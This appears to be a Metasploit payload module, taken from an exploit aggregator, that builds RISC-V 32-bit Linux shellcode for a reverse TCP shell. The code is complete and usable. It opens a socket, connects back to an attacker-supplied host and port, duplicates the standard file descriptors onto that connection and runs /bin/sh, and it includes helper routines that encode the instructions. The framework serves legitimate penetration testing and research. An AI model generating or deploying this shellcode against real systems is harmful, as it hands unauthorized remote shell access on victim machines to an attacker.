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## https://sploitus.com/exploit?id=MSF:PAYLOAD-LINUX-RISCV32LE-SHELL_REVERSE_TCP-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 164
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
SYS_SOCKET = 198
SYS_CONNECT = 203
SYS_DUP3 = 24
SYS_EXECVE = 221
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_IP = 0
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell.',
'Author' => [
'modexp', # connect.s RISC-V 64-bit shellcode
'bcoles', # RISC-V 32-bit shellcode port and metasploit
],
'License' => BSD_LICENSE,
'Platform' => 'linux',
'Arch' => [ ARCH_RISCV32LE ],
'References' => [
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
],
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix
)
)
end
# Encode a RISC-V LUI (Load Upper Immediate) instruction
def encode_lui(rd, imm20)
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
end
# Encode a RISC-V ADDI (Add Immediate) instruction
def encode_addi(rd, rs1, imm12)
0b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)
end
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
def load_const_into_reg32(const, rd)
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
max_const = 0xFFFF_FFFF
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
if const >= -2048 && const <= 2047
return [encode_addi(rd, 0, const)]
end
upper = (const + 0x800) >> 12
low = const & 0xfff
[
encode_lui(rd, upper),
encode_addi(rd, rd, low)
]
end
def generate(_opts = {})
lhost = datastore['LHOST'] || '127.127.127.127'
lport = datastore['LPORT'].to_i
raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
encoded_port = [lport].pack('n').unpack1('v')
shellcode = [
# prepare stack
0xfe010113, # addi sp,sp,-32
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
0x00000073, # ecall
# connect(s, &sa, sizeof(sa));
0x00050693, # mv a3,a0 # a3 = s
*load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
0x00200293, # li t0,2 # AF_INET
0x00511023, # sh t0,0(sp) # sin_family
*load_const_into_reg32(encoded_port, 5),
0x00511123, # sh t0,2(sp) # sin_port
*load_const_into_reg32(encoded_host, 5),
0x00512223, # sw t0,4(sp) # sin_addr
0x00012423, # sw 0,8(sp) # padding
0x00012623, # sw 0,12(sp) # padding
0x00010593, # mv a1,sp # a1 = &sa
0x00000073, # ecall
# dup stdin/stdout/stderr
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
# c_dup:
*load_const_into_reg32(0, 12), # li a2,0
0x00068513, # mv a0,a3
0xfff58593, # addi a1,a1,-1
0x00000073, # ecall
0xfe0598e3, # bnez a1,100b0 <c_dup>
# execve("/bin/sh", ["/bin/sh", NULL], NULL);
# BusyBox uses argv[0] to select its applet; NULL argv causes "applet not found".
0x0dd00893, # li a7,221
*load_const_into_reg32(0x6e69622f, 5), # "/bin"
0x00512023, # sw t0,0(sp) # sp[0..3] = "/bin"
*load_const_into_reg32(0x0068732f, 5), # "/sh\0"
0x00512223, # sw t0,4(sp) # sp[4..7] = "/sh\0"
0x00010513, # mv a0,sp # a0 = path = "/bin/sh"
0x00212423, # sw sp,8(sp) # argv[0] = &path
0x00012623, # sw zero,12(sp) # argv[1] = NULL
0x00810593, # addi a1,sp,8 # a1 = argv
0x00000613, # li a2,0 # envp = NULL
0x00000073 # ecall
].pack('V*')
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end